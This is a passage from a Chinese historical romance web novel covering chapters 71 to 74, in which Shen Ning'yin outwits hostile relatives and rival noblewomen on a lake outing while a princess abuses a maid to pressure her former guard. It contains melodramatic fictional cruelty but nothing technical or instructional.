凭着沈弦思的模样和侍郎府的地位，保不齐能找个比沈宁音婆家更好的人家。
到时候，阮家、母族，谁都得谢谢自个儿。
沈夫人越想越是着急，侍郎府的大丫鬟们忙不迭地下去找人了。
沈宁音冷眼瞧着，也不说话，她大概也能想到冷元景将沈弦思单独叫去游湖安的是个什么心思，怕是这会儿都已经要成好事了。沈宁音略略转眸，身后不远处，她看见染竹脸色苍白，心情肉眼可见的失落。
不多时，船突然晃了晃，众人都有几分惊讶和慌乱。
71. 奚落
“这是怎么的？”船稳住了，沈夫人扶着步摇，惊魂未定询问走上来的船家。
上来回话的船家是个壮实的女子。笑容敷衍：“是后头有船靠过来了，想是有夫人郎君的过来打招呼。让是不让？”
京郊的湖虽长，但时不时也有贵人包船出游。碰上了也是不足为奇的。
如今虽是深秋，但天气晴朗，游湖的也不止侍郎府这一家。
“你怎么开船的？有船过来就能晃成这样？”沈夫人听罢并不买账，皱眉要发作那船娘。
船娘一听，不耐地翻了个白眼，转身：“就这么开着呢，夫人要是不舒坦尽可以换一艘别的。”她径直往船舱下去。
上京城的船娘虽做的力气活，却也是个良籍，在这儿见惯了贵人们的骄奢，似冷元景这等子弟，付钱分外不爽快，船娘本就瞧不上。
沈宁音就听那船娘声音不大不小的嘟囔：“有那银子怎的不自个儿买一艘去？租船还讨价还价的，装什么富贵人家。”
“哎？你嘟囔什么呢？”沈含鸢虽没听清，可船娘的态度就摆在脸上，猜也知道不是什么好话。
沈夫人气得脸色发黑：“快！快去找冷四郎来！这都找的什么人来划的船？！快把这贱人撵下水去！”
沈含鸢与沈引章连忙给自个儿亲娘拍背顺气。
沈宁音冷眼瞧着，却是叫了蔡氏过来。她拉着蔡氏的手小声叮嘱：“先把母亲扶去船舱歇着，后船来拜访的人命人去回绝了吧。”
萍水相逢，沈家沉寂了那么久，岂会有什么善缘？沈宁音觉着，这会儿能找上门的只怕是来者不善。
蔡氏是个听劝的，当下就要吩咐心腹婆子去回，可沈夫人偏不顺着：“怎么的？我好好的，歇什么歇？侍郎府哪里就轮到你来做主了？”
沈夫人明面儿上是呵斥儿媳，眼神却冲沈宁音剜了去。
蔡氏忙挡在沈宁音跟前儿：“宁音也是好意……”
“好意？我看呐，有些人是自个儿得了意，便见不得姊妹们出头。”沈夫人一想着沈宁音家里那个宠妻入骨的世子爷心里就膈应得紧。恨不得把两个亲女儿嫁过去替了她，冷冷道：“既做了秦家妇，就别来管咱们沈家事！”
“去，把客人都请过来，好生招待着。”
沈夫人一副女主人的姿态，沈宁音见她执拗，便也不再规劝，索性避去了就近的船舱里。
沈夫人冷哼一声，自去安排不提。
蔡氏心下担忧，就叫身边儿的妈妈跟着沈夫人派去的婆子，必要的时候也好帮衬一下。
沈夫人打望了一眼，就见后边儿来访的船略小些，但船虽小，一应做工装饰却是矜贵华美的。
仆婢们前呼后拥地簇拥着两位夫人并几个小辈走上来。
沈夫人瞧见那船上挂着的宫灯就笑得合不拢嘴，当下热络地迎了上去。
可一见到那为首夫人的眉眼，沈夫人就笑不出来了。
“沈夫人真是好兴致啊？这就带着小辈们出来招摇了？”为首的夫人雍容华贵，珠圆玉润的，看向沈夫人的眸光却夹着冷冽。这夫人夫家姓盛，老爷是刑部都官郎中。虽比侍郎官位小，却是握着实权的。
而最最要紧的是，这位盛夫人从来就压着沈夫人一头，两人从来都互相瞧不顺眼。
沈夫人脸色难看，攥紧帕子没说话。
另一位夫人倒是眼生，只是她毫不掩饰地打量着沈家几个女儿，那目光直勾勾的，沈引章本能地不舒服，皱了皱眉，直往后躲。
“哎哟，不愧是书香之家出来的闺女，真真是水灵。”那夫人说话也不太客气，伸手去牵沈玉珠，蔡氏眼疾手快，一把将闺女拉到身后。
夫人抓了个空，也不恼，顺手就拉着了沈含鸢。
沈夫人表情僵住，她没料想这人如此不讲究：“这位夫人是……”
盛夫人按了按鬓角，轻笑：“她啊，是游击将军闵大人的夫人。”
游击将军是武将，五品官，不大也不小，但沈夫人更笑不出来了。莫说她不想叫女儿找个武将之家做亲，便是那五品官之子，就让她瞧不上。
沈夫人知道，盛夫人定是故意的。
果然——
“正是，正是，方才盛夫人就说这船上有不错的女娘，正好让我求了过门做儿媳。”闵夫人笑眯眯地，像瞧货一般打量沈含鸢：“姑娘可许了人家？”
沈含鸢何曾见过这样不羁的人家，小脸苍白，求助地望向自家母亲。
沈夫人心下更慌，抬手便去拉沈含鸢，如今盛大人如日中天，沈夫人虽恨得牙痒痒，可人是自个儿迎上船来的，这会儿也不想撕破脸皮：“孩子年幼，想再留她两年在家中尽孝……”
盛夫人突然笑出了声，语调不客气：“沈夫人，上京城谁不知你沈家女儿养在深闺不肯带出来见人？”她扫了一眼沈含鸢：“听说令爱十六七岁……再留两年，怕是成了没人敢娶的老姑娘了？”
她不怀好意的话一说完，闵夫人先愣了一下。闵夫人喃喃道：“原来十六七了啊，不过，我瞧着还挺标致的，给我那不成器的儿子做正妻是足够了……”
闵氏满眼的欣喜，是真动了心思的。可她夫君是个武夫，地位也不高，儿子更是个白身，在家坐吃等死，嫁女儿给他，活脱脱是在作践人。
沈含鸢被这般品头论足，又气又臊，鼻子一酸就哭着跑开了。沈夫人也气得直抖：“这般羞辱人，简直欺人太甚！”
“羞辱？”盛夫人收了笑，轻蔑地看向她：“沈夫人怕是平日里也没什么见识吧？沈侍郎前阵子动一动嘴皮子，我那侄儿原定的职缺就换了姓陈的。如今一转脸子，倒像是很无辜的模样？”
沈夫人知道这盛夫人来者不善，竟不知背后还有这等缘故。蔡氏早觉着不对劲了，等听完这句，赶紧拉着女儿往船舱躲。
沈宁音看蔡氏跟沈玉珠进来，似乎早有准备，座椅上都已经铺好了软垫跟毯子。
蔡氏道了谢，连忙拉着女儿
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坐了，一面看向外头，一面忧心忡忡：“这可如何是好？”她小声道：“宁音，你看……”
沈宁音手支着香腮，没说话。
先前沈宁音就曾劝过了，是沈夫人自个儿不听劝，如今好了，她吃足了亏，沈宁音便是袖手旁观，也没人能指摘个什么。
外头闹了起来，沈夫人想撵人走，可闵家是武将家族，仆从都有些本事。沈家毫无准备，只当是来玩的，只带了些丫鬟婆子，根本推搡不过她们。
沈宁音倒是带了些侯府的人手，但沈夫人不是说了么，她一个秦家妇，哪里能管沈家事呢？
盛夫人占了上风，眉眼里尽是畅快，盯着沈夫人的眼轻蔑：“你拿什么乔？你家老爷什么地位你自己不知？圣人现在眼里还有他么？”盛夫人嗤笑：“要我说，你家的姑娘还真别嫌弃闵家的小子，只要肯花钱，捐个金吾卫也够配了。闵家可出了个侯夫人的！”
舱船里的沈宁音听到这儿，微皱起眉。
“可不是，我家老爷的妹子，嫁到了昌平侯府做正头夫人。我儿子能瞧上你家姑娘，那是你们家高攀了！”
沈夫人眼皮一翻，几乎要气晕过去。沈引章吓坏了，慌忙哭着抱住亲娘，先前跑走的沈含鸢这会儿惨白着脸色，不敢上前。
闵家的扈从此刻已经走上甲板，这会儿就站在那旁边，而那位闵小郎君，笑嘻嘻地盯着沈含鸢与沈引章看。
沈淮远虽拦在跟前，可他到底是个文人，说话也不能当武力使。
蔡氏看得着急，咬咬牙，站了起来。
“嫂嫂。”沈宁音终于开了口。
蔡氏转眸看去时，沈宁音已经起身，她将手里的红漆手炉递给旁边儿的兰香，一面整理着裙裾，一面淡声道：“我与嫂嫂一道去会一会。”
沈宁音是个出嫁女，沈夫人也不待见她，可当沈宁音开口说话的时候，蔡氏就没来由地感觉到了心安。
蔡氏徐徐吐出一口浊气，笑着挽住沈宁音的胳膊：“嗯。”
甲板上乱糟糟的动静，在突然出现的大量脚步声里为之一静，几十个侯府的仆从拿着棍子走了上来，这些人跟闵家的家丁又有不同。明眼人一眼就能瞧出门道来。
盛夫人堪堪愣住，转头看过去的时候，就瞧见人群往两边分开，逢中走出来几个女子。
其中除了先前见过的蔡氏，走在主位的，却是个年轻女子。乌发云鬓，一身百迭裙考究又端庄，裹着毛边儿的夹袄也是上京最最时兴的款式。
盛夫人是个有眼界的，挑眉，语调却是端凝：“夫人是？”
“盛夫人博闻强识，盛大人也是官运亨通。想来也没听闻过晚辈的。”沈宁音语调温温柔柔的：“夫人既知晓我那婆母，怎的却不知晚辈的身份？”
盛夫人当下略退了半步，她心下吃惊，沈家之事盛夫人也是知晓一二的，假千金的风波，她也听闻过不少。
哪里能知道，竟在这船上，撞见沈家那位传闻中毫无存在感的女儿？
72. 隐患
盛夫人敢找沈夫人的茬，敢瞧不上侍郎府，除了是旧怨外，也是打量着昌平侯府并不看重沈家这门亲。
沈宁音是个野种这种事，本就是从侍郎府传出去的，她们私底下没少嚼舌根。尤其依着跟闵氏的这层关系，盛夫人听了一耳朵沈家人如何对世子夫人沈氏的袖手旁观。
“二少夫人。”盛夫人飞快思忖了一瞬，便也镇定下来，扯出个笑容看向沈宁音：“你母亲到底不是亲娘，你这么站出来护着，怕是也没人念你的好吧？”
“那也是咱们沈家的家务事，夫人有这个时间管别人家的闲事，不如好好理一理府院里的琐事。”
沈宁音不了解盛夫人，但却是早将婆母闵柔的事儿打听了个七七八八，她能在底下怎么添油加醋说自个儿，沈宁音清楚得很。
沈宁音一句话说得莫名其妙的，等下一瞬，她冲兰香点点头。
兰香便依着沈宁音先前的吩咐，拿出一包散碎银子递过去，笑丫鬟活泼，声音也甜，笑眯眯道：“听说盛大人最近喜得庶子，真是恭喜夫人了。”
她话音一落，空气都寂静了。盛夫人再没了先前颐指气使的淡定，气得要坡口大骂，几个人好歹拉住了。
民夫人惊慌失措地扯着盛夫人的袖子，沈宁音只听着盛夫人口不择言：“你这小蹄子！别以为嫁进侯府用了些狐媚手段就能山鸡变凤凰了！你就是个李代桃僵的下贱胚子！”
这话就很不客气了，除了地位高的盛夫人外，旁人都吓得战战兢兢。
所有人的目光都落在了沈宁音脸上，沈宁音却丝毫不见恼怒。
人若被戳了痛处，最是容易破防，越骂，越是此地无银三百两。
想破掉谣言，最忌讳的，便是慌乱愤怒。
沈宁音弯了弯唇瓣，一个眼神，二三十个凶神恶煞的仆婢就围了上去，其中还有一些侯府带出来的护卫，一个个孔武有力，叫闵家众人都看得胆战心惊。
沈宁音略扫了一眼，闵家那个嫡子竟吓得躲到丫鬟背后去。看得人直皱眉。
这样的下一代，闵家纵是行伍出身，又攀上昌平侯府这搜大船，将来也难免衰落下去。
闵家都这样了，也难怪老夫人不给闵氏掌家。
些许念头也不过瞬息，沈宁音的目光最后就落在了盛夫人脸上：“夫人可仔细着些，莫摔水里去了。”
她懒懒的话音刚落，那些个手拿着长棍的家丁便福至心灵，耍把式般将棍子挥舞了一下。
先前这些人围上来的时候盛夫人便已经退至船舷旁，这冷不丁再避让，她整个上半身便往船外倒。
盛夫人发了一声尖叫，好险给闵夫人抓了回来。只是她头上满簪的珠翠掉了好几只，盛夫人惨白着一张脸惊魂未定的模样委实太过狼狈。
沈宁音收了笑，声音一如既往的淡：“我都提醒夫人了，夫人这般不小心，倘使出个什么事儿，怕是还要讹上咱们侍郎府。”她提高了声音，垂眸吩咐：“大嫂，还不差个人好生送客人离开？”
蔡氏都看愣住了，被沈宁音点到才回过神来。她攥着裙裾连忙吩咐底下的妈妈去办。
沈宁音拢了拢斗篷，将手里变得温冷的手炉递给染竹。昌平侯府的仆从如潮水般退下。
盛夫人再不甘心，形势比人强，这会儿也只得愤愤离开。
长长的河上碧波粼粼，船过时，水声都柔和得紧。
沈夫人原想着在晚辈面前充一下长辈的威严，谁知却打脸得彻底，到最后竟然要沈宁音这个她口中的出嫁女、秦家妇不计前嫌站出来撑场面。
沈夫人实在没面子，她原就给盛夫人气得不清，便索性装晕。
她这一晕，蔡氏、沈远淮，还有沈家几个女儿就真信了。
“这船上也没有郎中，快些往回稍吧！”沈含鸢失声大喊，船上本就人心不安，沈含鸢喊起来，就更乱了。
沈宁音站在不远处，目光盯着沈夫人眼皮子下微动眼珠子，她前世跟着冷元景在地方上锻炼过，人是不是真的晕她再清楚不过。
此时船娘已经被婆子们叫了上来，一看这情况，也是瞧出了门道，但碍于客人的脸面，船娘也没戳破，只面无表情道：“要回去也行，银子可不退！”
沈引章心下着急：“这都什么时候了，银子能有母亲的命要紧么？”
众人都催促着船娘掉头，沈宁音却是走到沈夫人跟前，居高临下地瞧了瞧：“倒也不必这么麻烦。”
蔡氏愣了一下，等看清沈宁音平静的眼神和微微上翘的嘴角，很快便也猜到了不对。蔡氏也不慌了，拉着女儿站远了两步。
沈含鸢看此情形气得拦在前头怒视着沈宁音：“二姐姐，你要做什么！母亲含辛茹苦把你养大，你还延误病情！是想害死母亲么？！”
沈宁音眼神似笑非笑，抿了抿唇瓣，抬手一把将沈含鸢头顶的簪子抽了一支。
“你！”沈含鸢大惊失色，怒不可遏地从沈宁音手里抢了回来。
说时迟那时快，沈宁音在所有人都没反应过来之前，飞速握住沈含鸢抓着簪子的手，一簪子扎在了沈夫人的人中穴。
“啊！”沈夫人一声惨叫，鼻子下边儿破了个洞，血一下子涌了出来。
沈宁音松开手，脸上带着温柔善意的笑容：“含鸢妹妹这不是把母亲救醒了么？”
听了沈宁音的话，整条船上无妨主子还是下人，都兴高采烈地长舒了口气。
沈夫人捂着破了相的口鼻，气得脸色铁青，偏偏发作不了半点儿。望向沈宁音的目都像是要把人生吞活剥了去。
沈宁音笑容温婉，不居功地信口开河：“母亲不必太过感谢，这眩晕之症凶险万分，若是狠不下心将人唤醒，拖到上岸，指不定会拖出什么事儿来的。”
沈夫人一口老血憋在心里，想吐都吐不出来，偏沈引章连连上前替母感谢，沈夫人更气了。
唯有船娘，嫌弃地撇了撇嘴，转身嘟嘟囔囔离开。
离远了的后船，坐到桌
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旁的盛夫人喝了口茶，越想越气，抬手就将茶碗砸到地上。可正好又没砸破，气得盛夫人捶桌子。
“哎。”闵夫人看着渐渐远去的大船眼巴巴地叹气。盛夫人听着声气儿冷哼了一声：“还惦记着沈家的小丫头片子？”
闵夫人点点头：“沈家的姑娘着实水灵，可惜了，她们家那个二姑娘太厉害。”
闵氏偶尔见着娘家人、又或者跟夫人们闲聊的时候没少说自家儿媳的不是。
也并非闵氏刻意说嘴的，可架不住秦耀阳这二十六岁才成亲的特例，问的人自然就多些。
再加上沈氏年纪轻轻就掌了中馈，闵氏这个做婆婆的脸上无光，闵氏自然要添油加醋说一些自个儿的厉害，再讲一讲沈氏的伏低做小。
盛夫人跟闵夫人听了几回，就真信了。只以为沈宁音是个好拿捏的。这会儿真真碰上，两个人也就沉默了。
先前在气头上，这会儿冷静下来后，盛夫人还真拿沈宁音没办法。
闵夫人见她不说话，呐呐道：“盛夫人，您也别气了，气着了身子不值当。要不……”闵夫人顿了顿：“要不我叫我那大姑姐好生教训一下那沈氏？”
盛夫人瞪了她一眼：“秦夫人要真能磋磨她儿媳，能上外头吹嘘去？她一个四十来岁的人，哪里就能将后宅大权给个新妇？”
闵夫人不那么聪明，可架不住盛夫人够直白，当下也垂下目光凝眉：“那……那还是算了吧。”
“呵。”盛夫人目光看向远处高耸的船桅，冷笑：“那也未必能算得了。”
闵夫人察觉她话里有话，忙凑近了些。
盛夫人抬手指着侍郎府所在的大型舫船，微眯了眯眼：“你瞧那船，在整个江上，怕是最大的了。她们怕是要惹祸上身。”
闵夫人愣了一下，有些不明所以，盛夫人便压低了声音：“我可是得了消息，今儿那位顶顶厉害的要来游湖……”
“谁家船敢越过了她去？”
盛夫人抄着手幸灾乐祸：“也就是那些个民船没有门路，撞上了风。你且瞧着吧，不必咱们动手，那一船的人，没一个能落了好去。”
闵夫人听着她的话，一时间只能想到了那位圣人的掌中宝，光想着，脸色都不禁惨白起来。
风起了，桅杆上的帆降了下来。
大船上，沈家人遍寻不到沈弦思，出了那么大的事儿也没找着冷元景。
沈夫人也顾不得人中处的伤口了，神色焦急地去询船娘。可船娘船工都一问三不知，问就是自个儿只管划船。
沈夫人今儿刚丢了面子，这会儿只当船娘等人是冷元景家的下人，只觉着连下人都能踩到自己头上了。
她指着往回走的船娘怒吼：“你回来！如今冷四郎都没了，你们竟毫无所知？！”
下人们拦住船娘的路，船娘身子壮，一手推开一个：“我管划船还要管人在哪儿？要想知道，自个儿找去！”
“你！”沈夫人给气得说不出话来。
73. 犯忌
船上的船工都是经年的老手，惯会看人眼色。船上众人里头最不能得罪的，明眼人都知道是沈宁音。
沈宁音此番带过来能打的家丁侍卫，都是昌平侯府的，虽则不一定忠于沈宁音这个少夫人，但更不可能听侍郎府的调遣。
沈夫人带的几个婆子丫鬟的，根本打不过常年划船的船娘船工，这会儿也只能无能恼怒。
“染竹！你还不快些过来帮忙！”沈夫人阴沉着脸色看向船舱门口站着的染竹。
先前沈宁音对沈夫人是半点儿没给体面的，所以她也拉不下脸直接吩咐沈宁音，但染竹这大丫鬟是沈家出去的。
染竹被这么一点，当下就十分为难。她卖身契还在沈夫人手里头捏着，不能不听话。可她眼下又是昌平侯府的人。
正踌躇的时候，帘子就掀开了。
沈宁音披着软边裘毛斗篷，一双眸子没什么波澜。她一出来，自带着一股子不怒自威，先前还眼高于顶的船娘都站端正了几分。
“少夫人……”染竹松了口气，上前去扶住了她。
“夫人。”船娘也卖好地打了声招呼，连目光都清澈许多：“可是有什么吩咐？”
沈宁音睃了沈夫人一眼，看向船娘的时候露出个温和的笑：“也不是什么大事，冷家郎君去了何处可有什么交代？些许线索即可，也好安一下心。”
她抬眸示意，跟在后头的兰香便拿出几个银锞子塞进船娘的手里头。
这世道，威严什么的只会叫人畏惧，却不一定给个真话，银子却是最实在的。船娘得了银子脸上的笑容就更真心了。
“好叫这位夫人知晓，那冷郎君坐了另一艘船。”
见自个儿呵斥了半天都不曾撬开船娘的嘴，沈宁音不过几钱银子就打发了她去，沈夫人整个人都不好了。
“你！真真是个上不得台面的！”沈夫人指着船娘骂。
船娘不以为意，倒是犹豫了一下凑到沈宁音耳边小声提醒：“那位郎君还拉着一位女娘同船，还要了酒、怕是要小心些个……”
沈宁音闻言，故作凝重地点点头，用不大不小的声音问：“那，你可知他们眼下在何处？”
船娘摇了摇头：“这哪儿能知晓？湖面这么大，如今又走了许久，便是要找也难找着。他们的船可不会在岸边儿等。”
沈夫人终究不太放心，骂归骂，却也竖着耳朵在一旁听。
沈宁音与船娘的对话，她该听见的都听见了。
这事儿其实沈宁音早猜到了，多此一举问上两句，也就是为避嫌。将来出事儿，便是沈夫人也别想推到自己头上。
沈夫人脑袋有几分眩晕，旁边儿沈引章连忙扶着她：“母亲，这可如何是好……”
“冷元景他……”沈夫人有些六神无主，她思忖着从前对冷元景的印象，道：“他应该不至于对思儿如何，估摸着顶多是在一处说说话？”
沈夫人这话也不知是说给自己听还安慰旁人的。
沈引章听罢眉头并没有松开来，倒是沈含鸢松了口气：“对的，弦思姐姐平日里总说冷公子人好。再说了，她们定了亲事，哪里能如何呢？”
“说的也是。”沈夫人听罢也是点点头。
蔡氏作为长嫂，却有不同看法：“母亲，弦思妹妹到底是女子，即便对方是未婚夫，倘使那人心术不正，也还是要慎重些为好……”
蔡氏踟蹰了一下的，咬牙道：“冷郎君做出这样的事儿，眼见是个没规矩的，弦思妹妹的亲事咱们还是要仔细掂量才是。”
整个侍郎府里头，沈宁音只觉着蔡氏还算个稍好点儿的，至少她对沈玉珠的教养没什么可指摘的。
沈夫人不喜蔡氏，尤其最近蔡氏跟沈宁音走得近，她便更不喜了，而这次，她难得没有驳斥蔡氏的话。
倒不是她真觉着冷元景没规矩，只要沈弦思喜欢，沈夫人便乐得纵容，她唯一可惜的便是冷元景的出身低了些。沈弦思同她亲近，她又有亲姑母这个身份，还不像当年的沈宁音一般，有伪朝东宫准侧妃的黑历史，沈夫人只觉着沈弦思若能上长公主的赏花宴，定能寻个好的。
沈宁音这么个不受重视的假千金如今都能地位这么高，沈夫人觉得，沈弦思定然会更好！
这时，沈宁音的声音将沈夫人的思绪拉回，沈宁音柔声对蔡氏道：“方才船娘也说了，便是掉头，也难寻到她们的船。”
蔡氏有些忧心忡忡，她举目四顾，今日天气好，湖面上的小船有好几艘，也不能一艘一艘靠过去找人。
“罢了，也不会出什么事。”沈夫人冲儿媳蔡氏道：“冷家乃是书香门第，思儿又这么向着他。”
“不过，冷四郎这次越矩了，回头我跟你们父亲商议商议，推迟
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婚期。”
沈夫人说完这句话，特特剜了沈宁音一眼：“宁音，这件事儿你给我烂在肚子里，绝对不能传扬出去，否则……”
沈宁音不等她说完，打断道：“母亲，我省得。”
她这句分外乖顺，沈夫人颇有些意外，可一想到沈宁音身边好些仆婢的卖身契都在侍郎府，沈夫人便也放下心来。
又警告了两句后，沈夫人领着两个女儿施施然走了。
蔡氏有些担忧地看了沈宁音一眼，告了声罪，也跟了过去。
“少夫人。”染竹欲言又止。
将才的情况沈宁音也是皱眉的，原想着先收拢人手，多培养一些忠于自己的，可真到了要紧时候，侍郎府那儿突然来那么一下，也容易出岔子。
再如何远着，碰不到面，可架不住沈夫人是个难以用常理去揣度。谁知道她哪日抽个风呢？
正好，借着沈弦思的事儿，从侍郎府把卖身契都要过来。
“我有分寸。”沈宁音看向染竹，并未多言。
长河之上，船只稀疏。
阳光愈发明艳，其中一艘船分外显眼，船身极大，雕梁画栋，极致奢华。
这船足有两三层，几个女婢守在楼梯处。许多扈从站在甲板之上护卫着船主人的安全。
旁的船只见着它皆是绕路而走。没人敢靠近分毫。
倘使有大胆的人能窥伺一二，定能发现船上扈从的不凡来，一个个虎目精光，全是高手。
在大船最上层，地板上铺陈着柔软的毛皮，每一寸都是千金难求的贡品。
“你站了这般久，难道就不累么？”女子娇软的声音传来，有些刻意，但却难得能矫情得不叫人反感。
薛岚眼角的余光扫了她一眼：“郡主，臣不累。”
清河郡主斜靠在软榻之上，笑着指了指桌案上翠绿的葡萄：“给我剥颗葡萄可好？”
薛岚将目光瞥向远山：“臣可以去唤侍女。”
被拒绝后，清河将腿交叠，长裙下的曲线分外旖旎，烟视媚行：“本郡主就要你来……”
“你肯是不肯？”
薛岚没说话，神色是一贯的淡。
清河郡主连番受挫，到底是收了笑：“你便是不肯，也笑一笑啊？你就是这般来陪我的？”
她坐起身，俏脸含霜：“把面具摘了！”
74. 女婢
清河郡主抬手要去摘薛岚的面具，男人抬起绣春刀，用刀鞘拨开了她的手，声音低沉：“李云英！”
清河郡主蓦地嗤笑了一声，漫不经心收回了手：“我还以为你一辈子都不会唤我的名了。”
她施施然坐了回去，双腿交叠：“罢了，你既不肯，那我叫旁人来伺候我便是。”
清河郡主目光冷冽，拍了拍手：“带上来。”
这一刹，薛岚面具下的眸子微眯。
少顷，女婢们将一个身形娇小的女娘推了上来。薛岚看着女娘，面具遮掩下，他神色莫辩。但清河郡主却是笑了。
女娘梳着双丫髻，看起来二十来岁，身上穿着郡主府寻常丫鬟的藕粉色夹袄，五官清秀周正，却有着一双大大的眼睛，抿着唇的时候雾蒙蒙的，极惹人疼。
“郡主……”女娘被推到跟前，身子微微颤抖，自始至终都不敢抬头去看。
清河郡主睃了一眼薛岚，见他没反应，便抬手捏着那女娘的下巴迫使她抬起头来。
离得近了，女娘的脸孔全部落入薛岚的眼中，清河郡主轻笑：“银翘，你可认得他？”
四目相对，银翘蓦地瞠大了眼睛，她嘴唇颤抖，激动地喊：“主子！”
清河郡主松开了手，银翘身子一个踉跄，眼瞧着要摔倒，薛岚抬起绣春刀，刀柄抵着她的肩膀，银翘眼泪汪汪地看着他，薛岚却也一个字没说。
清河郡主冷下脸来，目光似要将女娘扒皮拆骨，一巴掌甩在了银翘的脸上。金属甲套在女子白嫩的脸颊上刮出两道长长的口子：“废物点心！连站都站不住了是不？”
银翘半边脸上鲜血淋淋，惊恐地捂着脸，清河郡主抬高了下巴，目光看着薛岚，却是冲着银翘吩咐：“去，剥一颗葡萄。”
银翘几乎是条件反射，冲过去，颤抖着手剥葡萄，她手指上沾着血，指尖滑了好几下，一边哭一边将带血的葡萄递到清河郡主手里。
清河郡主露出个笑来，接过葡萄递到薛岚嘴边：“张嘴。”
薛岚目光素来凶戾，此刻却带着清冷。
他不肯张嘴，就那么僵持了一息。清河郡主突然转身，一脚踢在银翘的小腹之上：“没用的东西！连个葡萄都剥不好！去旁边儿掌嘴！”
银翘惊恐地摇头：“主子！主子救我！主子！”
几个女婢扑上来，抓着银翘就拉到不远处掌掴。
女娘的惨叫和用力的巴掌声夹杂在一起，是带着血腥味的背景音。
“你还真是心硬呢。”清河郡主走到薛岚身边儿，抬手握着他的绣春刀轻抚：“你若求个情，我便放了她如何？”
薛岚垂眸看向清河郡主。
见他不开口，清河郡主先软下了语气，挥挥手叫人停了，挽着薛岚的手臂，纤细的手指在男人面具上细细摩挲：“薛岚，你以前不是这样的，你什么事儿都可以为我做，现在为何不行了？”
她轻笑一声：“我虽要嫁人了，可你若来抢亲，我跟你走，也不是不行。”手指下滑至冰冷的面具边沿，男人的喉结精致，浑身是浅淡的竹香气息，清河郡主心中一荡，声音喑哑几分：“你不是挺在意那银翘么？到时候，把她开了脸给你做个通房，可满意？”
薛岚在她的手指即将碰着脖颈之际，一把捏住：“郡主，别胡闹。”
清河郡主蹙眉，目光明亮地看着他：“我没胡闹！你又不是真的阉人！此事我清楚得很！”
薛岚用力推开了清河郡主。
一声娇呼后，清河郡主整个人撞在了软榻之上，她捂着磕疼的小腿不可置信地回头看。
薛岚垂眸整理皱了的深衣，语气冷冷的：“郡主还是把勾人的手段用在昭王殿下身上吧。”
清河郡主怒不可遏，站直了身子：“你就不怕我杀了银翘！”
“请便。”薛岚看都没看她一眼，也没看银翘一眼，转身下楼。
“薛岚！你站住！”清河郡主尖声叫喊。薛岚充耳不闻。
楼下的一众便衣番子皆面面相觑。他们都是奉命来保护清河郡主的。
薛岚也是。
所有人都知这次圣人是因清河郡主钦点了薛岚，不然，区区出游，哪里能劳动上一个勾当皇城司公事来服侍？
薛岚走下楼，一群人都巴巴地看向他，但，薛大人震慑属下，只需一个眼神。
楼上，清河郡主亲手将银翘的手按在桌上：“我就不信，把你的手砍下来送给他，他还能视而不见！”
“郡主！求求您饶了奴婢！求求您了！奴婢不能没有手！”银翘哭得满脸眼泪。
“呵！”清河郡主冷笑着看向她：“你不是他的贴身侍婢么？！本郡主给你家里几千凉银子安家！还替你赎身！你竟然敢骗我！”
眼瞧着侍女拿来了寒光惨惨的短刀，银翘真的怕了，惊恐万状地哭喊：“奴婢没有骗郡主娘娘！奴婢真的伺候了他好些年！！他定是……定是疏远了！只要奴婢多与薛大人相处，他什么都会想起来的！求郡主再给我一次机会吧！”
清河郡主看了一眼手里的刀，又看看狼狈不堪的银翘，咬牙切齿地冷哼了声，她将刀扔到地上，道：“好！你最好能说到做到，否则，本郡主定让你知晓骗到我头上的下场！”
清河郡主拿着帕子细细擦拭着手掌，眼皮都没抬一下：“把她给薛大人送去。”
等人送走后，侍女小声道：“郡主，若是薛大人不收呢？”
清河郡主擦拭的手一顿，抬眸轻笑：“他会收的，薛岚这人，心狠手辣，却最是念旧，这银翘的父亲据说曾对他有恩，他绝不可能放任不管的。”
侍女犹豫了一下，压低声音道：“那，贼人还安排不安排？”
清河郡主将袖子往榻上一甩，斜倚上去，眉梢微挑，声音愉悦：“要，自然要的！本郡主的人，他敢忤逆我，自然得给点小惩大诫。”
侍女有些担忧：“郡主……那群贼人可都是真水匪。”
“要的就是真。”
薛岚行至船舱，这艘船的客舱挺多，宽敞，陈设也
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精美。但薛岚并不太在乎这些，他只是凝眉想起了从前的事。
船舱门口传来脚步声时，薛岚便知晓了，但离开的脚步声显然稀疏了些许。
来人推开门，薛岚看着那张熟悉的脸还是诧异了一下。
银翘的脸受了伤，再给眼泪一泡，伤口边沿就有些泛白，似银翘这样容色偏上的女娘，留疤的话，定是要毁了的。
“主子！”银翘眼睛通红，膝盖砸在地板上发出沉闷的声音，她仿佛不知道疼，膝行几步：“主子，你不记得惜儿了？”
银翘本名白惜，而银翘这个名字，是后来落到郡主府后才起的。
银翘抓着男人的衣摆，泣不成声。薛岚面具遮掩下的脸庞瞧不出悲喜，半晌，他伸手将人拉了起来：“你既已成了郡主府的奴婢，就回去吧。”
银翘一听，哭得更惨：“我不想回去！主子您收下我吧！我回去就活不成了！求您了！”
“求您看在我爹的面上让我继续伺候您吧！”
银翘提及她的父亲，薛岚沉默良久，抬眸：“好。”
“多谢主子！”银翘擦干净手要靠过去，薛岚拿秀春刀柄将她抵远，语调照旧地冷：“去外面伺候。”
银翘伺候他多年，知他不喜人进房间，当下便恭恭敬敬又惊喜地退了出去。
阳光正好，但在江上之时，风卷着水气，刮在人脸上也是冷的。
舫船上，沈玉珠小脸给风吹得红扑扑的，蔡氏忙上去将她裹进厚实的斗篷里。
“起风了。”蔡氏道。
兰香在沈宁音身后，闻言举目：“真的好大风，这桅杆上的帆那么张，怕是不稳妥的。”
“谁说不是呢？不过呀，好在这附近也没什么船。”蔡氏低头轻拍沈玉珠的后背。
沈宁音听在耳里，微蹙起眉来，这样好的天气，抬头望去，将才还时不时有小船在游湖，这会儿竟都隔着老远了。要是她没记错的话，方才有几艘似乎是往侍郎府这艘相反方向去的。
一艘两艘还没什么，可好几艘都这样，怕是不太妥当。
沈宁音提着裙裾就往甲板下走：“还是叫人将帆放下来。差不多便该回去了。”
蔡氏纳罕：“这么早？”似这些船，便是租金也不便宜，沈宁音她们出来还没游一个时辰，而船是按天收费的。
沈宁音隐约觉着有些心绪不宁，她点点头：“嗯。”
蔡氏便也点点头：“也罢，左右也是冷四郎出的银子。就不知弦思妹妹她靠岸没有……”
蔡氏的为人便是如此，她有自己的私心，但蔡氏最最紧着的还是身边的女儿沈玉珠，只要女儿安好，蔡氏便有闲心去关心旁人的安危，即便那人是沈弦思。
沈宁音心中慨叹，蔡氏到底不知，自己当初早就提醒过沈弦思了，良言劝不住该死的鬼。
兰香已经得了吩咐去找船娘了。
